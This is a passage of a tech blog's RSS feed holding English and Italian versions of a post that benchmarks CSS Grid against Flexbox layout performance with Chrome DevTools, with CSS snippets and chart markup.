00c0-2-51-1-51%201h-4c0-2-2-3-2-1l-1%202-1-1c0-1-3-2-17-2H36v5h12c10%200%2011%200%2013-2h1a1171%201171%200%2000125%201%202966%202966%200%2000188%201h13v-5h-12c-9%200-12%200-13%202h-1c1-2-1-2-24-2-21%200-24%200-24%202s-3%201-3-1l-1-2-1%202m-273%208c0%202%200%202%2010%202%208%200%2010%200%2011-2h1c-1%202%201%202%2033%202a151%20151%200%200036-1c0%201%2062%202%2062%200%200-3-2-4-9-4l-8%201h-1a1264%201264%200%2000-124-1H36v3m153-2l2%203%202%201%201-1v-3l2%202v2h192v-5h-37a392%20392%200%2000-43%201%201218%201218%200%2000-119%200m-144%206c-9%200-9%200-9%202v3h116a488%20488%200%2000117-2l2%202%201-2%201-2%201%202c0%203%2022%203%2025%200h2c-1%202%200%202%2022%202%2023%200%2024%200%2023-2l1-2%201%202%202%202%201-2c0-1%200-2%201-1%201%200%202%201%201%202l17%201h18v-2c0-3%200-3-12-3h-17l-4%201h-1l-12-1h-11l-2%201-13-1H196c-2-2-3%201-2%202%202%202%202%202%200%202s-3-1-3-2l-1-2h-40a938%20938%200%2001-82%200H45m-9%209v2h42a224%20224%200%200044-1l54%201c52%200%2053%200%2052-2%200-2%200-2%201-1l2%202%201%201%201-1%201-2c1-1%201-1%202%201v2h152v-5h-18c-18%200-19%200-19%202s-2%203-4%201c-1-2-1-2%201-2a7171%207171%200%2000-269-1H36v3m0%206v3h35a145%20145%200%200036-1h12a520%20520%200%200070-2c1-2%202-1%202%201l1%202c2%200%203-1%202-3v-1l2%202c0%202%201%202%208%202l13-1h8l3%201v-2c-1-1-1-1%201-2s2-1-1-1a239%20239%200%2000-42%200l-41-1c-37%200-40%200-40%202h-1a174%20174%200%2000-49-1l-4-1-5%201h-1l-4-1c-5%200-5%200-5%203m197-2l3%201c2%200%202%200%201%201l-2%202a300%20300%200%200053%200l10%201c9%200%209%200%209-2v-2l1%202%202%202c2%200%202%200%202-2-1-1%200-2%201-2l1%202c-1%202%200%202%2016%202%2015%200%2016-1%2016-2l1-2%201%202%201%202c2%200%203-1%202-3-1-1-1-1%201-1l2-1a473%20473%200%2000-64%200h-57m122%201l-2%203%2018%201h17v-6h-16c-16%200-16%200-17%202m-319%208l1%202%201-1%201-2v2l2%201%202-2%201-2%201%202c0%202%200%202%2033%202h33l-2-2-1-3H75a172%20172%200%2000-35%201c1-1%200-1-1-1-3%200-3%200-3%203m82-1v3h163l1-3%202-2h-28a313%20313%200%2000-23%202l2%201c1%201%200%201-1%201l-5-2c-2-2-4-2-56-2h-55v2m166%201l-2%202h106v-5h-18c-17%200-19%200-19%202%200%201-2%202-21%202l-22-1%2019-1%2022-1c1-1-8-1-31-1h-32l-2%203m-243%204l-3%201%202%202%202%202%201-2c-1-1%200-2%201-2l1%202c0%202%200%202%20111%202a579%20579%200%2000113-2l2%202%202-2v-2l2%203%2056%201h57v-6h-54a405%20405%200%2000-56%201%203288%203288%200%2000-162%202c0%202-3%202-4%200l-1-2H41m-4%208l-1%202%20176%201h176v-5h-57c-57%200-58%200-58%202-1%202-3%203-5%201-1-2-1-2%202-2a7708%207708%200%2000-233%201m-1%207v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v3h352v-6H36v3m0%207v2h352v-5H36v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/846508f0d5575a58dda99df5394e35c6/c85cb/complexchart.webp 300w,/static/846508f0d5575a58dda99df5394e35c6/e88ff/complexchart.webp 600w,/static/846508f0d5575a58dda99df5394e35c6/92f8c/complexchart.webp 1200w,/static/846508f0d5575a58dda99df5394e35c6/90e3c/complexchart.webp 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/846508f0d5575a58dda99df5394e35c6/5a46d/complexchart.png 300w,/static/846508f0d5575a58dda99df5394e35c6/0a47e/complexchart.png 600w,/static/846508f0d5575a58dda99df5394e35c6/c1b63/complexchart.png 1200w,/static/846508f0d5575a58dda99df5394e35c6/b5a09/complexchart.png 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Lower is better&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/846508f0d5575a58dda99df5394e35c6/c1b63/complexchart.png&quot; title=&quot;Lower is better&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Lower is better&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;From this benchmark we can see that the performances between the two algorithms are very similar and therefore there is no clear superiority of one over the other. The only real difference between using Flexbox and CSS Grid in this case is the implementation: in Flexbox it was necessary to add &lt;em&gt;&amp;quot;container&amp;quot;&lt;/em&gt; elements around the components and this made the layout particularly difficult to guess by reading only the code, while in CSS Grid we can guess the layout directly from the container element.
The main advantage of CSS Grid compared to Flexbox for layouts is in fact the movement of the code, concerning the layout, from the children to the container, allowing you to have everything in a single class which defines how the child elements must be positioned and what size they must have.&lt;/p&gt;&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;&lt;p&gt;Analyzing the data obtained we can see how in more complex cases Flexbox is more performing, but we can also note that in more common cases the difference in performance is not so evident.&lt;/p&gt;&lt;p&gt;The real difference between using Flexbox and CSS Grid is in the amount of code:
The code for creating a complex layout in Flexbox is more complex, dispersed and time-consuming, while that created with the Grid is much faster, tidier and simpler.&lt;/p&gt;&lt;p&gt;Many developers who have used flexbox to create layouts over time have found themselves demolishing and rebuilding the same simple layout, both in HTML and CSS, for changes in the project specifications.
CSS Grid can put an end to many of the difficulties encountered in creating layouts and requires no extra effort (like adding a library) to implement.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk6 { color: #D7BA7D; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[CSS Grid vs Flexbox Performance Evaluation]]></title><link>https://techblog.smc.itgrid-vs-flexbox-performance</link><guid isPermaLink="false">https://techblog.smc.itgrid-vs-flexbox-performance</guid><pubDate>Mon, 03 Aug 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CSS Grid è un algoritmo di layouting piuttosto recente, che, soprattutto durante il suo arrivo, ha avuto una brutta reputazione in termini di performance.&lt;/p&gt;&lt;p&gt;Questo è uno dei motivi assieme forse, ad una API poco ergonomica ai non iniziati, per cui molti siti web, anche molto recenti, utilizzano unicamente flexbox per tutti i layout.&lt;/p&gt;&lt;p&gt;Per capire se questa reputazione è fondata abbiamo svolto alcuni benchmark.&lt;/p&gt;&lt;p&gt;Che CSS Grid possa competere alla pari con Flexbox?&lt;/p&gt;&lt;h1 id=&quot;-1-strumenti-di-benchmarking&quot;&gt;🔬 1. Strumenti di benchmarking&lt;/h1&gt;&lt;p&gt;Tutti i dati seguenti sono stati ottenuti utilizzando il Performance Profiler di Chrome DevTools su un Macbook Pro con processore Intel Core i7 quad-core 2,3 GHz e 8 GB 1600 MHz DDR3 di RAM.&lt;/p&gt;&lt;p&gt;In particolare è stata utilizzata la funzione &lt;strong&gt;«Start profiling and reload the page»&lt;/strong&gt;, quindi una funzione che esegue il profiling dalla richiesta alla fine del render della pagina.
È stata utilizzata questa funzione perché mette in luce il tempo di render del layout singolarmente, quindi senza alcun ricalcolo dovuto ad azioni come il ridimensionamento del browser.&lt;/p&gt;&lt;p&gt;I risultati riguardano solo i tempi di calcolo del layout, quindi i tempi di &lt;em&gt;download&lt;/em&gt; delle risorse e i tempi di esecuzione del codice Javascript non hanno influenzato i risultati.&lt;/p&gt;&lt;p&gt;Tutto il codice utilizzato per i benchmark è disponibile su &lt;a href=&quot;https://codesandbox.io/s/css-grid-vs-flexbox-performance-evaluation-qo1cf?file=/index.html&quot;&gt;Codesandbox&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;p&gt;&lt;iframe src=&quot;https://codesandbox.io/embed/css-grid-vs-flexbox-performance-evaluation-qo1cf?file=/index.html&quot; style=&quot;width:100%;height:500px;border:0;border-radius:4px;overflow:hidden&quot; allow=&quot;accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr&quot; sandbox=&quot;allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;-2-benchmark-10000-elementi&quot;&gt;🐇 2. Benchmark: 10000 elementi&lt;/h1&gt;&lt;p&gt;Questo è uno stress-test che ci permette di comprendere come si comportano in termini di performance i due algoritmi in una situazione estrema: un container con 10000 elementi da disporre in tutto lo spazio disponibile.&lt;/p&gt;&lt;p&gt;Ovviamente non rappresenta la &lt;em&gt;real-world performance&lt;/em&gt; dei due algoritmi, in quanto è molto difficile avere come requisito una pagina con tanti elementi in un solo container, anche perché si può ricorrere a soluzioni alternative per migliorare le performance come un &lt;strong&gt;infinite loader&lt;/strong&gt; degli elementi oppure una paginazione.&lt;/p&gt;&lt;p&gt;Il cuore del codice CSS per creare il benchmark utilizzando CSS Grid è il seguente:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-columns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;repeat&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;auto-fit&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;minmax&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Mentre la controparte che utilizza flexbox é:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-wrap&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;wrap&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.item&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-basis&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-grow&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per ripetere 10000 volte l&amp;#x27;elemento item è stato utilizzato JavaScript.&lt;/p&gt;&lt;p&gt;L&amp;#x27;unica differenza tra i due layout è l&amp;#x27;ultima riga del container, dove nella Grid rimangono delle celle libere, mentre nella flexbox lo spazio rimanente viene riempito.&lt;/p&gt;&lt;p&gt;Questi sono i risultati ottenuti:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/b5a09/10000chart.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:73.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;294\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20294\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M206%204c0%202%201%203%2015%203%2013%200%2014%200%2014-2-1-2-2-3-6-2h-21c-1-2-2-1-2%201M35%20136v100h354v-15a112691%20112691%200%20000-157V35H35v101m1-97v3h352v-6H36v3m0%208v3h352v-6H36v3m0%207v3h97a1795%201795%200%2000100-1l78%201h77v-6h-75a380%20380%200%2000-77%202c1-2%200-2-1-2-2%200-2%200-1%201%201%202%200%202-4%202s-5-1-5-2c1-1-18-1-94-1H36v3m41%205l-1%204v2h312v-6h-76a4408%204408%200%2001-158%200c-67%200-72%200-72%202l-2%202-1-2v-2h-2m-41%203v3h18c15%200%2018%200%2020-2%201-1%201-1-2-1-4%201-4%201-4-1%201-2%200-2-16-2H36v3m0%207v3h23c14%200%2022%200%2021-1l1-1%201%201%20153%201h153v-6H232a8089%208089%200%2000-177%200H36v3m0%207l1%203h23l15%201%2014-1%201-1a1655%201655%200%2000104%201l1%203%202-3c1-2%201-2%202-1l1%203-5%201-79-1H36v6h307v-2l1-2v2l1%202%201-2c-1-2%205-2%205%200l1%203%202-3c1-2%203-3%203-1-1%203%200%203%2016%203h15v-6h-66a987%20987%200%2001-94-2%20188%20188%200%200026-1l67%201%2067%201v-7H36v3m0%2015c0%203%200%203%203%202h6c1%202%20222%201%20222%200v-3c1-1%201-1%201%201l1%202%201-2c0-1%201-2%203-2l3%201c-1%204%200%204%2014%204h13v-2c0-4%202-4%202%200l1%203v-3c0-2%200-3%203-3s3%200%203%203c-1%202%201%203%202%200%200-3%202-3%203%200%200%203%2054%203%2056%200v-3l-107-1H160v3c0%201%200%202-2%201v-2l-1-2c-1%200-2%200-1%201l-1%203c-1%201-1%201-2-1h-1c0%203-3%202-3-1l-1-2v2c0%204-2%204-2%201v-3H36v3m10%205l1%201c1%201%200%201-2%201-5-1-8%200-8%203l38%201%2037-1-1-4c-2-2-2-2-2%200l-1%202-1-2c0-2-1-2-27-2-25%200-27%200-29%202h-2c-2-2-3-3-3-1m70-1c-1%204-1%205%202%205h3l-3%201%20134%201h136v-6l-31-1c-28%200-40%201-47%203l-2-1c0-2-2-2-18-2h-17l17%201%2018%201h-17l-20%201-2-1c0-2-5-2-57-2a1273%201273%200%2000-93%202c-1-2-3-3-3-2m-80%2011v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v4h95a2045%202045%200%2000106-1l76%201h75v-7H36v3m0%208v3h19l18-1%202-1%201%201%2077%201a440%20440%200%200080-2%201954%201954%200%2000155-1v-3h-75a1711%201711%200%2000-83%201l-75-1a395%20395%200%2000-82%201h-2l-18-1H36v3m0%207l1%203h36l36%201-36%201H37l-1%203v3h352v-6h-96a1904%201904%200%2001-60-2l38-1v-2l-1-1v-2l-1%202h-2c-2-2-6-2-35-2-33%200-33%201-33%202%200%202%200%202-1%201l-1-2-1-1-2%202c-1%203-6%204-6%201l1-2-35-1-34%201v3c-1%201-1%201-1-1-1-4-3-4-3%200v3h17c16%200%2017-1%2016-3l1-2%201%204%201%201%201-2c-1-2-1-3%201-3v3c0%203%200%203%202%202s2-2%201-3l1-2%202%202v2l18%201%2017%201c0%202-1%202-5%201-16-1-34-1-34%201l-2%201-2-2c0-1-33-1-36%201h-3c-2-2-3-3-3-6v-3H79c-33%200-32%200-31%204l-1%201c-2%200-2-1-1-2v-3l-2%202c-1%203-7%202-6%200l-1-2-1%203m235-2l1%201%201%202c0%201%201%202%2017%202l18-1%202-1%202%201a141%20141%200%200039%200c0%201%2036%202%2036%200l1-2c0-2%200-2-1-1l-2-1-2-1v2c-3%201-3%201-3-1h-3c-2-2-22-1-22%201l-3%201v-1l-1-2-2%202h-1c0-2%200-2-1%200h-3c0-3-29-3-29%200l-1%201-1-1-1-2c-2%200-2%202-1%202%201%201%200%201-1%201l-2-1v-2l-1%202h-2c-2-2-28-3-28-1h-6M36%20217v3h352v-6H36v3m0%205v6h352v-6H36m0%2010v3h352v-6H36v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/c85cb/10000chart.webp 300w,/static/ebbaa9918c9e831d370c2a4e712acb9c/e88ff/10000chart.webp 600w,/static/ebbaa9918c9e831d370c2a4e712acb9c/92f8c/10000chart.webp 1200w,/static/ebbaa9918c9e831d370c2a4e712acb9c/90e3c/10000chart.webp 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/5a46d/10000chart.png 300w,/static/ebbaa9918c9e831d370c2a4e712acb9c/0a47e/10000chart.png 600w,/static/ebbaa9918c9e831d370c2a4e712acb9c/c1b63/10000chart.png 1200w,/static/ebbaa9918c9e831d370c2a4e712acb9c/b5a09/10000chart.png 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Lower is better&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/c1b63/10000chart.png&quot; title=&quot;Lower is better&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Lower is better&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Come si può vedere il distacco di performance tra Flexbox e CSS Grid in questo caso è molto netto, questo probabilmente deriva dal fatto che in Flexbox gli elementi delle righe successive non possono interferire con quelli delle righe precedenti, mentre in CSS Grid non è così, costringendo molte verifiche prima di dimensionare gli elementi.&lt;/p&gt;&lt;h1 id=&quot;🧠-3-benchmark-complex-layout&quot;&gt;🧠 3. Benchmark: Complex layout&lt;/h1&gt;&lt;p&gt;Questo è un &lt;em&gt;field-test&lt;/em&gt; che ci permette di comprendere come Flexbox e CSS Grid si comportano in situazioni comuni: Il task è creare un layout di un sito che non sia del tutto banale, quindi simile ad uno reale.&lt;/p&gt;&lt;p&gt;Tra i due layout non c&amp;#x27;è alcuna differenza visibile.&lt;/p&gt;&lt;p&gt;Per questo benchmark il codice CSS per la Grid è il seguente:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-columns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-rows&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;50px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;75px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-areas&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headerCenter headerCenter headerSide&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;side main tips&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;side main .&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;footer footer footer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.mainItem&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-area&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: main;&lt;/span&gt;&lt;/span&gt;
